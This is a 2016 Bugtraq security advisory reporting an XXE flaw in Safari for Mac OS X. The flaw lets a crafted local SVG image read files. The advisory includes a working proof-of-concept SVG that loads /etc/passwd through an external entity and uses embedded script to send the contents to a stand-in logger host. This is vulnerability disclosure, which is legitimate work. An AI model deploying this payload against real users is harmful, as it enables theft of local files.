bugtraq - Apple Safari for Mac OS X SVG local XXE

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Message-Id: <71743626-F278-4F25-BB4A-2E43D2E10051@wearesegment.com>
Date: Tue, 5 Jul 2016 10:12:28 +0200
From: Filippo Cavallarin <filippo.cavallarin@...resegment.com>
To: bugtraq@...urityfocus.com
Subject: Apple Safari for Mac OS X SVG local XXE

Advisory ID: SGMA16-003
Title:	Apple Safari for Mac OS X SVG local XXE
Product: Apple Safari for Mac OS X
Version: 9.1.1 and probably prior
Vendor:	apple.com
Vulnerability type:	XXE
Risk level:	Medium
Credit:	Filippo Cavallarin - wearesegment.com
CVE: N/A
Vendor notification: 2015-04-08
Vendor fix: N/A
Public disclosure: 2016-07-05


Details

Safari for MACOSX is prone to an XXE vulnerability when processing crafted SVG images.
An attacker may use this vulnerability to steal files from local computer by tricking a user
into opening and SVG image from a local location (ie USB key).
This vulnerability is mitigated by the file quarantine and do not work with downloaded files.


Proof of concept:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="19000px" xmlns:xlink="http://www.w3.org/1999/xlink" >
<text x="-1000" y="-1000" >&xxe;</text>
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
<script>
var logger = "http://logger.local/?file=" + encodeURIComponent(document.getElementsByTagName("text")[0].innerHTML);
document.createElementNS('http://www.w3.org/2000/svg','image').setAttributeNS('http://www.w3.org/1999/xlink','href', logger);

</script>

</svg>


Notes

The vendor has been notified more than one year before public disclosure and the answer was that the issue was
still under analisys. We contacted the vendor again a few weeks before public disclosure but we got no reply.


Solution

N/A


References

https://www.wearesegment.com/research/Apple-Safari-for-Mac-OS-X-SVG-local-XXE



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